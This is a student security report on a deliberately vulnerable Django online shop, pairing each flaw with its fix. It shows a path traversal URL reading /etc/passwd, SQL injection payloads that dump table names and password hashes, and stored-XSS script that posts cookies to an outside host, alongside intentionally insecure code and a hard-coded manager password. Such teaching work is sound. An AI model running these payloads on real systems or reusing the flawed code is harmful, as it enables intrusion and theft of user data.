Segurança Informática e nas Organizações, 2023-2024

Assignment 1 - Exposed Vulnerabilities in the University of Aveiro's DETI Memorabilia Online Shop

Introduction

This report aims to explain vulnerabilities discovered in an online shop specializing in selling DETI memorabilia at the University of Aveiro.

The project contains 2 versions of a web application:

- `app` : contains implemented vulnerabilites
- `app_sec` : secure version of `app`

Our web app has the following features:

- Authentication (register, log in)
- Buy DETI merchandise products
  - add/remove to shopping cart
  - add/remove to favourites
  - review products (textual, star rating and attached files)
- Filter shop products
- Search for products by name
- Edit Profile (name and e-mail)
- View previous orders (download related in-voice file)
- Manager Dashboard
  - add/remove products
  - add categories
  - view all orders

Authors

- João Dourado 108636
- Miguel Belchior 108287
- Diogo Silva 107647
- Rafael Vilaça 107476
- Miguel Cruzeiro 107660

Initial Remarks

The website we examined for vulnerabilities was not built from scratch. We used a template e-commerce website available on GitHub here. This website uses the Django Framework which allows interaction with a SQLite3 database through object oriented code. The templates served by Django are build using HTML and bootstrap. Further development has occured to customize the website to meet our specific requirements.

Running Instructions

- With Virtual Environment

```
# clone repository
git clone git@github.com:detiuaveiro/1st-project-group_04.git
# go to app (cd app/) or app_sec (cd app_sec/)
cd app/
# create venv
python3 -m venv venv
# use venv
source venv/bin/activate
# install requirements
pip install -r requirements.txt
# migrate the database
python3 manage.py migrate
# serve static files
python3 manage.py collectstatic
# runserver
python3 manage.py runserver
```

- With Docker

```
# 2 Dockerfiles in app/ and app_sec/ folders
# build docker image
sudo docker build -t app .
# run docker image
sudo docker run --name app_c -dp 8000:8000 app
```

Vulnerabilities Implemented

Vulnerability	CWE(s)
1	**CWE-23**: Relative Path Traversal,**CWE-200**: Exposure of Sensitive Information to an Unauthorized Actor
2	**CWE-521**: Weak Password Requirements
3	**CWE-89**: SQL Injection
4	**CWE-79**: Cross-Site Scripting (XSS),**CWE-352**: Cross-Site Request Forgery (CSRF)
5	**CWE-200**: Exposure of Sensitive Information to an Unauthorized Actor,**CWE-285**: Improper Authorization
6	**CWE-434**: Unrestricted File Upload
7	**CWE-798** - Use of Hard-coded Credentials
8	**CWE-307**: Improper Restriction of Excessive Authentication Attempts

All documentation for vulnerabilities found in the next sections

CWE-23: Relative Path Traversal, CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity: 6.5

CVSS Vector String: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Description

An authenticated user can order products, which starts an order request. Upon completion of the order (checkout complete), the user has the ability to download an invoice file associated to that request.

In the following code we allow the download of the file without proper verification regarding who the user is and what file is he trying to download through the file parameter in the request.

```
@login_required
def download_invoice(request):
    file_name = request.GET.get("file")
    # Invoices are located at /media/invoices/
    invoices_path = os.path.join(settings.MEDIA_ROOT, "invoices")
    path = os.path.join(invoices_path, file_name)

    order_id = file_name.split(".")[0]
    try:
        if not os.path.exists(path):
            create_invoice(order_id)
        # serve file for download here
        response = FileResponse(open(path, 'rb'))
        response['Content-Type'] = 'application/octet-stream'
        response['Content-Disposition'] = f'attachment; filename="{file_name}"'
        return response
    except Exception as e:
        print("Exception ocurred: ", e)


    messages.error(request, 'Invalid invoice file requested.', 'danger')
    return redirect('shop:home_page')
```

A network analysis shows that clicking the download button triggers an HTTP GET request to `http://localhost:8000/download?file=<file_name>`.

By manipulating the *file* query parameter, it is possible to exploit this vulnerability to **access files outside of the server's directory** and **access invoices belonging to other users**.

This means that an attacker can potentially extract any file in the server's filesystem and download it to their own machine, and also access invoices that belong to other users without authorization, which violates their privacy. Furthermore, in a real scenario where the checkout and invoices are fully implemented there would be an exposure to critical information like the customer's address and his/her phone number.

Exploitation

An attacker can directly call the download endpoint with an HTTP GET request including a malicious query parameter for the file name. By using traversal techniques, the attacker can access sensitive files, such as `/etc/passwd` or an invoice beloging to another user.

Broken Authorization:

Simply sending an HTTP GET request to `http://localhost:8000/download?file=<file_name>` where the `file_name` is an invoice file belonging to another user, an attacker could get information related to another user without authorization.

Path traversal:

Path traversal is achieved by appending `../` to the file path until the root directory is reached.

Example: `http://localhost:8000/orders/download?file=../../../../../../../../etc/passwd`

Mitigations

To fix this vulnerability, we must guarantee the following conditions:

- The requested invoice file belongs and can only be accessed by the requesting user.
- The path to the file is within the current working directory, where invoice files are located.

For these purposes, we changed the code to be more secure:

```
@login_required
def download_invoice(request):
    file_name = request.GET.get("file")

    invoices_path = os.path.join(settings.MEDIA_ROOT, "invoices")
    path = os.path.join(invoices_path, file_name)
    # absolute path, consumes all '../', needed to check for common path
    abs_path = os.path.abspath(path)

    order_id = file_name.split(".")[0]
    # allow download if user who requested download made the order aswell
    # prevent path traversal by checking that requested file in inside the invoices_path directory
    if invoice_belongs_to_user(request.user.id, order_id) and (os.path.commonpath([abs_path, invoices_path]) == invoices_path):
        try:
            if not os.path.exists(path):
                create_invoice(order_id)
            # serve file for download here
            response = FileResponse(open(path, 'rb'))
            response['Content-Type'] = 'application/octet-stream'
            response['Content-Disposition'] = f'attachment; filename="{file_name}"'
            return response
        except Exception as e:
            print("Exception ocurred: ", e)


    messages.error(request, 'You are not allowed to download that file.', 'danger')
    return redirect('shop:home_page')

# Returns true if order with id=order_id was made by user with id=user_id
def invoice_belongs_to_user(user_id : int, order_id : str):
    try:
        order = get_object_or_404(Order, id=order_id)
        if order.user.id == user_id:
            return True
    except Exception as e:
        return False
    return False
```

This line in particular - `os.path.commonpath([abs_path, invoices_path]) == invoices_path` - guarantees that the path of the file name is the directory where invoices are located. Requesting file `../../something.txt`, takes you outside of that directory, which is not allowed.

Demonstrations

This section will have video footage of *exploiting the vulnerabilities* and *trying to exploit them after they've been fixed*:

Exploiting Vulnerability

- Downloading invoice that belongs to someone else: this attacker has only made a single order with **id 6**. But the attacker then downloads another invoice by changing file parameter in the URL to `1.txt`, which requests the server for invoice `1.txt`. The order with **id 1** belongs to another user.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/1b916053-e799-40c8-935f-961461e9d7d6

- Exploiting path traversal weakness to get a file from outside the web server working directory, in this case `/etc/passwd`.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/0b2ed939-c903-4155-ac93-ae0c152e53e9

Trying to exploit after fix is implemented

- The user tries to extract an invoice related to another user, but can't and gets an error message.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/f8e8849c-b295-40bb-9512-a397c4fc73d2

CWE-79: Cross-Site Scripting (XSS), CWE-352: Cross-Site Request Forgery (CSRF)

Severity: 5.7

CVSS Vector String: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Description

The website is suscetible to both **Refleted XSS** and **Stored XSS**.

In the website there is a search box whose purpose is to search products by name. Whenever this form is filled the input appears on the url and is displayed what the user searched for. Because of this we can share the url including the search parameter to other people. By inserting some javascript code in the form and by sharing the resulting link we can execute this javascript code when the page loads in other user's browsers if they somehow are drawned to click the previously crafted link.

The review product feature on the online shop is susceptible to the injection of malicius code using Cross-Site Scripting (XSS) and, subsequently to Cross-Site Request Forgery (CSRF) attacks.

In this field the website is vulnerable to **Stored XSS**. Whenever someone submits a review, it gets saved in the underlying SQLite database without sanitizing it. If a saved review has malicious code, whenever that review is loaded in from the database without any precaution into the template and the HTML page gets rendered, it will get executed.

By default Django automatically escapes potencial harmfull characters that may be contained in a variable and end up affecting the resulting HTML. However by using the safe tag in a template variable the website is exposed to any user input that may affect the normal behaviour of the website (a person might want to do that if he/she wants to store a BLOB of html in the database and embed that directly to html for example). In this case we're just trusting the user input blindly and loading the text of the review from the database. This is something that should never be done and will lead to the previously discussed scenario.

Reflected XSS:

- Submission Form - no validation other that checking if form field is empty;

```
<!-- search form -->
<form class="col-12 col-lg-auto mb-3 mb-lg-0 me-lg-3" action="{% url 'shop:search' %}" onsubmit="return !isEmptySearch()">
  <input name="q" type="search" class="form-control form-control-dark" placeholder="Search..." aria-label="Search" id="search1">
</form>
```

- View - acceses the parameter in the url and incorporates it blindly (SQL Injection discussed in the **CWE-89 section of this pdf**);

```
def search(request):
    try:
        query = request.GET.get('q')
        products = Product.objects.raw("SELECT * FROM shop_product WHERE shop_product.title LIKE '%%%s%%'" % query)
        context = {'products': products, 'search': query}
        return render(request, 'home_page.html', context)
    except Exception as e:
        print("Exception caught on @search:", e)
        # hide errors from users
        products = Product.objects.filter(quantity__gte=1)
        context = get_ordered_products_context(request, products)
        return render(request, 'home_page.html', context)
```

- Displaying Search Message - using the safe parameter and thereby not escaping the html content;

```
{% if search %}
    <div class="row">
      <div class="col-md-2"></div>
      <div class="col-md-8 mt-2 text-center">
        <br>
        <h3 class="text-muted text-capitalize">These Products were found for {{ search|safe }}!</h3>
      </div>
      <div class="col-md-2"></div>
    </div>
{% endif %}
...
{% if search %}
    <div class="row">
      <div class="col-md-2"></div>
      <div class="col-md-8 mt-5 pt-5 text-center">
        <br>
        <h3 class="text-muted text-capitalize">No Products were found for {{ search|safe }}!</h3>
      </div>
      <div class="col-md-2"></div>
    </div>
{% endif %}
```

Stored XSS:

- Definition Form - no validation other that checking if form field is empty;

```
class ReviewForm(forms.Form):
  review = forms.CharField(label='',widget=forms.Textarea(
      attrs={'class': 'form-control', 'id': 'reviewProduct', 'rows': '4',
              'placeholder': "Your opinion on the product"}
  ))
  rating = forms.IntegerField(widget=forms.HiddenInput(
      attrs={'id': 'hiddenRating'},
  ))
  user_review_image = forms.FileField(label='', required=False, widget=forms.FileInput(attrs={
      'class': 'form-control', 'style': 'width: 20%', 'id': 'imageReviewInput'
  }))

  def clean(self):
      cleaned_data = super().clean() # invoke parent_class
      comment = cleaned_data.get('review')
      rating = cleaned_data.get('rating')
      user_review_image = cleaned_data.get('user_review_image')
      if comment is None:
          raise forms.ValidationError("A comment about the product is required. Please tell us your opinion")
      if rating is None or rating == 0:
          raise forms.ValidationError("Rating is required. Please select a rating.")

      return cleaned_data
```

- Submission Form - follows the validation of the defined python form;

```
 <h3>User Reviews</h3>
<hr/>
<form method="post" action="" class="mb-1" enctype="multipart/form-data">
    {% csrf_token %}
    <div class="d-flex flex-row">
        <h5 class="p-2"><label for="reviewProduct" class="form-label">Review Your Purchase</label></h5>
        <span class="p-2 align-items-center">
            {% for i in "01234"|make_list %}
                <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" class="bi bi-star" viewBox="0 0 1
                  <path d="..."/>
                </svg>
            {% endfor %}
        </span>
    </div>
    {% if ReviewFormErrors %}
    <div class="alert alert-danger" role="alert">
        {% for error in ReviewFormErrors %}
            <div>{{ error }}</div>
        {% endfor %}
    </div>
    {% endif %}
    <!-- Form Fields -->
    {{ ReviewForm.review }}
    {{ ReviewForm.rating }}
    <div class="d-flex justify-content-between mt-2 mb-2">
        {{ ReviewForm.user_review_image }}
        <input type="submit" class="btn btn-primary" value="Add Review">
    </div>
</form>
```

- View - follows the form validation, does no additional validation and stores the text of the review blindly;

```
@login_required
def product_detail(request, slug):
    product = get_object_or_404(Product, slug=slug)
    related_products = Product.objects.filter(category=product.category).all()[:5]
    context = {
        'title': product.title,
        'product': product,
        'QuantityForm': QuantityForm(),
        'favorites': 'favorites',
        'related_products': related_products,
        'reviews': product.review_set.all(),
    }

    if request.method == 'POST':
        review_form = ReviewForm(request.POST, request.FILES)
        if review_form.is_valid():
            rating = review_form.cleaned_data["rating"]
            review = review_form.cleaned_data["review"]
            user_review_image = request.FILES.get("user_review_image")
            try:
                r = Review(rating=rating, review=review, product=product, user_review_image=user_review_image, user=request.user)
                r.save()
            except IntegrityError as e:
                # If user has already done a review
                context["ReviewFormErrors"] = ["You have already reviewed this product. You can't do it again!"]
            context["ReviewForm"] = ReviewForm()
        else:
            context["ReviewForm"] = ReviewForm(initial={'review': review_form.cleaned_data["review"]})
            errors = review_form.errors.get("__all__")
            context["ReviewFormErrors"] = errors if errors else []
    else:
        context["ReviewForm"] = ReviewForm()

    if request.user.likes.filter(id=product.id).first():
        context['favorites'] = 'remove'
    return render(request, 'product_detail.html', context)
```

- Displaying Review Text - using the safe parameter and thereby not escaping the html content;

```
{% for review in reviews %}
<div class="card mt-1" style="width: inherit">
    <div class="card-body">
        <div class="row">
            ...
            <div class="col">
                <h4 style="font-weight: bolder;">{{ review.user.full_name }}</h4>
                <p style="font-weight: 300;">{{ review.review|safe }}</p>
            </div>
            ...
        </div>
    </div>
</div>
{% endfor %}
```

Since this code can execute in the context of other users' browsers, it could potentially lead to the theft of sensitive information, session hijacking, DDoS attacks, credential harvesting, among others.

Exploitation

To exploit this vulnerability, an attacker would create a new review, including malicious JS code into the text field, as such:

```
<script>
  alert("Hello from the review")
</script>
```

This code gets ran everytime someone loads the page containing the review in their browser, showing an alert box with the text "Hello from the review".

Mitigations

To prevent this kind of situations all that we have to do is not use the safe tag (or if we use we guarantee the sanitization of user input first).

We can also implement a CSP (Content-Security-Policy) as a prevention agains XSS attacks. CSP allows us to specify which resources of content are allowed within our website. Here is how we defined our Content Security Policy:

```
# Content Security Policy
CSP_DEFAULT_SRC = ("'none'", )
CSP_SCRIPT_SRC = ("'self'", 'cdn.jsdelivr.net', 'code.jquery.com', "'unsafe-inline'")
CSP_CONNECT_SRC = ("'self'", )
CSP_IMG_SRC = ("'self'", )
CSP_STYLE_SRC = ("'self'", 'cdn.jsdelivr.net', 'https://fonts.googleapis.com', "'unsafe-inline'", )
CSP_FONT_SRC = ("'self'", 'https://fonts.gstatic.com', )
```

The previous code does the following:

- **CSP_DEFAULT_SRC** - sets the default source for various content types to none. Consequently, no content is allowed unless explicitly specified otherwise;
- **CSP_SCRIPT_SRC** - specifies the sources from where scripts can be loaded and executed. With emphasis on the "'self'" origin and the use of "'unsafe-inline'". The latter allows the execution of inline scripts like "<script>alert("hello")</script>" and because of that allowing the existance of XSS. We didn't remove this line ("'unsafe-inline'") because we had some trouble adding the event listeners and because of that we would lose some functionalities of the website. However, if we could solve this problem we would remove the inline approach and only use external scripts (.js files from static folder) with event listeners;
- **CSP_CONNECT_SRC** - specifies the source from which network connection can be made. (useful to prevent post methods to a external server embeded in injected code as we will later see);
- **CSP_IMG_SRC** - specifies the sources from which images may be loaded;
- **CSP_STYLE_SRC** - specifies the sources from which styles (CSS for instance) may be loaded;
- **CSP_FONT_SRC** - specifies the sources from which fonts may be loaded.

Demonstrations

This section will have video footage of *exploiting the vulnerabilities* and *trying to exploit them after they've been fixed*:

Exploiting Vulnerability

- Reflected XSS through the *Search box*:

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/f576f46d-93bd-4a81-9cec-f2896b270476

- An attacker creates a review that includes malicious code. That malicious code will be stored in the database and loaded whenever the page is loaded by anyone.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/368a68a6-ed4d-4102-b494-54004f09e8a2

- An attacker creates a review that includes the following malicious code to perform a *CSRF attack*:

```
<script>
const xhr = new XMLHttpRequest();
xhr.open("POST", "https://httpbin.org/post");
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
const body = JSON.stringify({"cookie" : Document.cookie});
xhr.onload = () => {
  if (xhr.readyState == 4 && xhr.status == 200) {
    console.log(JSON.parse(xhr.responseText));
  } else {
    console.log(`Error: ${xhr.status}`);
  }
};
xhr.send(body);
</script>
```

This code will send an HTTP POST request to a website (*httpbin* used to test these http requests) including cookies for the current page in the body of the request.

Since it's loaded every time the page is loaded, every user who opens this product, will have their cookies sent over by the POST request.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/79638e44-b657-4eec-bc02-84121ca72d5e

Trying to exploit after fix is implemented

- An attacker tries to post a review with malicious javascript code, but fails because the input is automatically escaped when building the HTML template.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/c33836fc-85cc-438a-8e25-10052a164bda

- An attacker tries to post a review with a CSRF attack, but the *Content Security Policy* headers don't allow this behaviour.

NOTE: For this test, we enabled `|safe` in the HTML file related to reviews, which purposely allows XSS, purely for demonstration of CSP.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/7d9c58b9-988a-44b3-9702-0eeed7aa0cf6

CWE-89: SQL Injection

Severity: 6.1

CVSS Vector String: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Description

The online shop's search functionality is susceptible to SQL injection attacks, as indicated by CWE-89. SQL injection occurs when untrusted input is directly incorporated into SQL queries without proper validation.

By using the raw method to perform SQL queries and using the % operator to perform string formatting directly into the query code without input sanitization we are exposing the websites to SQL Injection attacks.

```
# Insecure sql query:
products = Product.objects.raw("SELECT * FROM shop_product WHERE shop_product.title LIKE '%%%s%%'" % query)
```

Exploitation

To exploit this vulnerability, an attacker can manipulate the search input to include SQL code that alters the behavior of the query.

By just inserting the character ' in the search input box an attacker can confirm the existence of SQL Injection in the form.

Then, the attacker might manipulate the search query to display sensitive data, such as database table names or even private login information, such as e-mail and an hashed password.

```
// Get table names
' UNION  SELECT null, 1, null, null, name, null, null, null, null FROM sqlite_master WHERE type='table' -- //

// Get column names for table 'accounts_user'
' UNION  SELECT cid, 'something', name, null, type, pk , dflt_value, null, null FROM pragma_table_info('accounts_user') -- //

// Get hashed passwords from users
' UNION  SELECT null, 'something', password , full_name, email, null, null, null, null FROM accounts_user -- //
```

Mitigations

We can use the raw method and still prevent SQL Injection attacks by passing the parameters to the method using the params argument instead of manually performing a string format.

```
products = Product.objects.raw('SELECT * FROM shop_product WHERE shop_product.title LIKE %s', ['%' + query + '%'])
```

As previously mentioned Django has its own Object Relational Mapper which allows the programmer to interact with the SQL database using classes and object oriented programming. If the queries we need to formulate aren't too complex we should prioritize **Django ORM** queries. We should always use that instead of raw SQL queries, since frameworks often work as safeguards for devs, who can easily make security mistakes.

```
# Secure Django ORM sql query:
products = Product.objects.filter(title__icontains=query)
```

If we use raw SQL queries and don't use the params argument we have to manually sanitize the user input properly to prevent those attacks.

Demonstration

This section will have video footage of *exploiting the vulnerabilities* and *trying to exploit them after they've been fixed*:

Exploiting Vulnerability

- An attacker inputs the following strings into the *Search* box for products:

```
// Get table names
' UNION  SELECT null, 1, null, null, name, null, null, null, null FROM sqlite_master WHERE type='table' -- //

// Get column names for table 'accounts_user'
' UNION  SELECT cid, 'something', name, null, type, pk , dflt_value, null, null FROM pragma_table_info('accounts_user') -- //

// Get hashed passwords from users
' UNION  SELECT null, 'something', password , full_name, email, null, null, null, null FROM accounts_user -- //
```

The cards destined for products will now show previleged information the attacker should not have access to, such as hashed passwords and table names.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/3501f016-0f8b-4e79-b971-b3042ad3ec37

Trying to exploit after fix is implemented

- An attacker tries to use a malicious string to get table names but fails.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/03662e17-787b-48cb-9684-3f56e509f636

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-285: Improper Authorization

Severity: 7.1

CVSS Vector String: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Description

There are inadequate enforced access controls, allowing unauthorized users to perform actions or access resources they should not have permission for.

The *Edit Profile* feature has inadequately enforced access control. It allows attackers to access and change private information related to other users.

A bad actor could easily extract the full name and email of another user, even having the possibility of changing those values.

The vulnerable endpoint is the following:

`http://127.0.0.1:8000/accounts/profile/{id}`

accounts/urls.py

```
    path('profile/<int:userid>', views.edit_profile, name='edit_profile'),
```

Whenever that endpoint is accessed, the `edit_profile` function is executed, with `userid` as `{id}` from the URL :

accounts/views.py

```
def edit_profile(request, userid):
    user = get_object_or_404(User, id=userid)
    form = EditProfileForm(request.POST, instance=user)
    if form.is_valid():
        form.save()
        messages.success(request, 'Your profile has been updated', 'success')
        return redirect('accounts:edit_profile')
    else:
        form = EditProfileForm(instance=user)
    context = {'title':'Edit Profile', 'form':form}
    return render(request, 'edit_profile.html', context)
```

It will render the `edit_profile.html` page based on the requested *userid*.

An attacker can change the value of **id** to an id related to another existing user, and access information about them, which he shouldn't be authorized to.

Exploitation

To exploit the broken access control, an attacker could simply access the *edit profile* option in his profile, and change the URL.

Example:

The attacker has an internal account id of 2, which means the url to be accessed to edit his profile is:

```
http://127.0.0.1:8000/accounts/profile/2
```

By simply changing the value of *2* to *1*, he could access the account information of user with `id = 1` :

```
http://127.0.0.1:8000/accounts/profile/1
```

Mitigations

We changed the url mapping so that now a user can only access his own profile through the profile/edit URL. Then we utilize the django request object attribute user to get the current user and display the correct information without ever needing to use the user's id.

urls.py

```
path('profile/edit', views.edit_profile, name='edit_profile'),
```

base.hmtl

```
<li><a class="dropdown-item" href="{% url 'accounts:edit_profile' %}">Edit Profile</a></li>
```

views.py

```
def edit_profile(request):
    form = EditProfileForm(request.POST, instance=request.user)
    if form.is_valid():
        form.save()
        messages.success(request, 'Your profile has been updated', 'success')
        return redirect('accounts:edit_profile')
    else:
        form = EditProfileForm(instance=request.user)
    context = {'title':'Edit Profile', 'form':form}
    return render(request, 'edit_profile.html', context)
```

Demonstration

This section will have video footage of *exploiting the vulnerabilities* and *trying to exploit them after they've been fixed*:

Exploiting Vulnerability

- Accessing a user profile of another user:

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/c96d212d-91d8-4ca6-9d97-cc19791e658b

Trying to exploit after fix is implemented

- The user accesses the **Edit Profile** page, and he can no longer change the URL to access another users' profile.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/5e21427f-47d7-4945-a9d3-bddce98957b6

CWE-307: Improper Restriction of Excessive Authentication Attempts

Severity: 7.3

CVSS Vector String: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Description

The system lacks proper restrictions on excessive authentication attempts, making it vulnerable to brute force attacks. This means that an attacker can repeatedly attempt to log in using various username and password combinations until they find a match.

Exploitation

To exploit this vulnerability, an attacker can use automated script or tools to perform a large number of login attempts in a short period of time.

Mitigations

To mitigate this vulnerability we used the **Django Axes** package (a Django plugin) that allows us to keep track of suspicious login attempts, more specifically it keeps track of every login attempt and keeps record of them.

When the number of failed login attempts exceeds 5, the user (using the ip-address-user) is forbidden to log in for 10 minutes (if the user makes a successful login before 5 fails, the fails record gets empty again).

In order to limit unsuccessful login attempts, we must add the following to the `online_shop/settings.py` file in the secure app:

```
# Allow 5 logins every 10 minutes
AXES_FAILURE_LIMIT = 5
AXES_COOLOFF_TIME = 10/60
```

Demonstration

This section shows a video of *trying to exploit the vulnerability after it's been fixed*:

- The user, unsuccessfully, tries 5 times to login. The 6th try is blocked. He can only try again after another 10 minutes.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/fb7f8425-6974-4c3c-9c96-2657894d3379

CWE-434: Unrestricted File Upload

Severity: 7.7

CVSS Vector String: AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Description

The online shop's file upload functionality in user reviews does not adequately validate uploaded files for their size or type. This vulnerability allows users to upload files, including potentially malicious ones, without proper checks.

A file can be uploaded when creating a user review for a product, intended for images/files related to the purchase.

Potential risks are:

- **Malware Distribution**: Attackers can upload and distribute malicious files such as viruses, trojans, or ransomware to other users, potentially compromising their systems. user tries to upload image larger than 4MB, but can't.
- **Denial of Service**: Large files can be uploaded to overwhelm the server, leading to a denial of service condition.

The vulnerable code is related to the HTML form:

shop/forms.py

```
class ReviewForm(forms.Form):
    review = forms.CharField(label='',widget=forms.Textarea(
        attrs={'class': 'form-control', 'id': 'reviewProduct', 'rows': '4',
               'placeholder': "Your opinion on the product"}
    ))
    rating = forms.IntegerField(widget=forms.HiddenInput(
        attrs={'id': 'hiddenRating'},
    ))
    user_review_image = forms.FileField(label='', required=False, widget=forms.FileInput(attrs={
        'class': 'form-control', 'style': 'width: 20%', 'id': 'imageReviewInput'
    }))

    def clean(self):
        cleaned_data = super().clean() # invoke parent_class
        comment = cleaned_data.get('review')
        rating = cleaned_data.get('rating')
        user_review_image = cleaned_data.get('user_review_image')
        if comment is None:
            raise forms.ValidationError("A comment about the product is required. Please tell us your opinion")
        if rating is None or rating == 0:
            raise forms.ValidationError("Rating is required. Please select a rating.")

        return cleaned_data
```

In particular, the form has a Django `FileField` for uploading files, with no limitation of file type or size.

```
user_review_image = forms.FileField(label='', required=False, widget=forms.FileInput(attrs={
        'class': 'form-control', 'style': 'width: 20%', 'id': 'imageReviewInput'
    }))
```

Exploitation

In the add review forms we can opt for uploading a file (supposedly an image) to be attached to the respective review. However as previously mentioned neither the type of file or size are verified. An attacker may upload an extremely large file that consumes excessive server resources causing the server to become slow or unresponsive. Another exploitation may be the uploading of files containing malware (viruses and trojans for example) or scripts that may be acessed/executed and compromise the system.

Mitigations

- We only accept a set of valid file extensions for image by using Django default ImageField.
- We limited file size to a reasonable amount (4 MB);

```
class ReviewForm(forms.Form):
    review = forms.CharField(label='',widget=forms.Textarea(
        attrs={'class': 'form-control', 'id': 'reviewProduct', 'rows': '4',
               'placeholder': "Your opinion on the product"}
    ))
    rating = forms.IntegerField(widget=forms.HiddenInput(
        attrs={'id': 'hiddenRating'},
    ))
    user_review_image = forms.ImageField(label='', required=False, widget=forms.FileInput(attrs={
        'class': 'form-control', 'style': 'width: 20%', 'id': 'imageReviewInput'
    }))

    def clean(self):
        cleaned_data = super().clean() # invoke parent_class
        comment = cleaned_data.get('review')
        rating = cleaned_data.get('rating')
        user_review_image = cleaned_data.get('user_review_image')
        if comment is None:
            raise forms.ValidationError("A comment about the product is required. Please tell us your opinion")
        if rating is None or rating == 0:
            raise forms.ValidationError("Rating is required. Please select a rating.")
        if user_review_image and user_review_image.size > 4*1024*1024:
            raise forms.ValidationError("Image is too large (> 4 MB)")

        return cleaned_data
```

Demonstration

This section will have video footage of *exploiting the vulnerabilities* and *trying to exploit them after a fix is implemented*:

Exploiting the Vulnerability

- The user uploads a 45MB video, when the developers intended for images to be uploaded. This could be further exploited by uploading a much larger video.

INSECURE_FILE_UPLOAD.webm

Trying to exploit after fix is implemented

- The user tries to upload image larger than 4MB, but can't.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/d1f87005-8c22-43c4-b93c-64d3ec375e95

- The user tries to upload a malicious script (`malware.js`), but can't since only images are allowed (any filetype that is not an image, is rejected).

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/ce5d71f9-371a-4b93-a293-bac8d535e15d

CWE-521: Weak Password Requirements

Severity: 9.1 **CVSS Vector String**: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

The system currently allows users to create accounts with weak passwords that are susceptible to brute force attacks, which greatly weakens authentication.

In the following code is defined a form without any kind of validation besides validating that the input in the email field is in fact an email and that all fields are not empty. All of this is done by default by Django. However as we are using a custom form (we could also be using default forms implemented by Django) with absolutely no validation any input would be allowed

```
class UserRegistrationForm(forms.Form):
    email = forms.EmailField(
        widget=forms.EmailInput(
            attrs={'class': 'form-control', 'placeholder': 'email'}
        )
    )
    full_name = forms.CharField(
        widget=forms.TextInput(
            attrs={'class': 'form-control', 'placeholder': 'full name'}
        )
    )
    password = forms.CharField(
        widget=forms.PasswordInput(
            attrs={'class': 'form-control', 'placeholder': 'password'}
        )
    )
```

Exploitation

To exploit this vulnerability, attackers can use brute force or dictionary attack methods to guess or crack user passwords. With weak passwords in place, malicious actors have a higher chance of successfully compromising user accounts, potentially leading to unauthorized actions within the system.

Mitigations

During the sign up process, if the user creates an account with a weak password that field is cleared and a message appears to warn the user he must use a **Stronger Password**. This is made using a function (`validate_password`) that checks if:

```
 Password has more than 8 characters
Password contains at least 1 number
Password contains at least 1 special character
Password has an Uppercase and a Lowercase letter
Password contains the username or the email.
```

When the password corresponds to all the given requirements, the sign up is successful.

By implementing a validate_password method that raises errors according to the password input and incorporating it in the default clean method (note that we call the super implementation of clean() too) we are preventing the creation of accounts with weak passwords that could be discovered by brute force or dictionary attacks.The following implementation is present in `app_sec` :

```
class UserRegistrationForm(forms.Form):
    email = forms.EmailField(
        widget=forms.EmailInput(
            attrs={'class': 'form-control', 'placeholder': 'email'}
        )
    )
    full_name = forms.CharField(
        widget=forms.TextInput(
            attrs={'class': 'form-control', 'placeholder': 'full name'}
        )
    )
    password = forms.CharField(
        widget=forms.PasswordInput(
            attrs={'class': 'form-control', 'placeholder': 'password'}
        )
    )

    def clean(self):
        cleaned_data = super().clean()
        email = cleaned_data.get('email')
        username = cleaned_data.get('full_name')
        password = cleaned_data.get('password')

        validate_password(password, email, username)

        return cleaned_data

def validate_password(value, email, username):
    if len(value) < 8:
        raise ValidationError("Password must be at least 8 characters long.")

    if not any(char in r'!@#$%^&*()+[]{}|;:,.<>?/`~' for char in value):
        raise ValidationError("Password must contain at least one special character.")

    if not any(char.isdigit() for char in value):
        raise ValidationError("Password must contain at least one number.")

    if not any(char.isupper() for char in value):
        raise ValidationError("Password must contain at least one uppercase letter.")

    if not any(char.islower() for char in value):
        raise ValidationError("Password must contain at least one lowercase letter.")

    email_prefix = email.split('@')[0]
    if email_prefix in value:
        raise ValidationError("Password cannot contain the part of your email.")

    if username in value:
        raise ValidationError("Password cannot contain a substring of your username.")
```

Demonstrations

This section will have video footage of *exploiting the vulnerabilities* and *trying to exploit them after they've been fixed*:

Exploiting Vulnerability

- A user successfully creates an account with a very vulnerable password - `1234`, which could easily be found by a brute-force attack.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/8900748a-9c43-4cd6-9b37-658f30357486

Trying to exploit after fix is implemented

- A user tries to create an account with weak passwords, until he meets the criteria defined for a strong password.

https://github.com/detiuaveiro/1st-project-group_04/assets/97046574/66097137-331a-4933-8dbc-6c364d65efbe

CWE - 798 - Use of Hard-coded Credentials

Severity: AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

CVSS Vector String: 9.3

Description

During development of the website, the developers use hard-coded credentials to access the website, and test features in different roles, such as manager and regular user.

When deploying to production, it's crucial to remember to remove these **hard-coded credentials**, since bad actors could access the website using them.

Every time the server starts running, a default administration account (shop manager) is created, and a simple password is hard-coded into the product (managerpass1234) and associated with that account (manager@example.com).

- Views.py

```
def create_manager():
    """
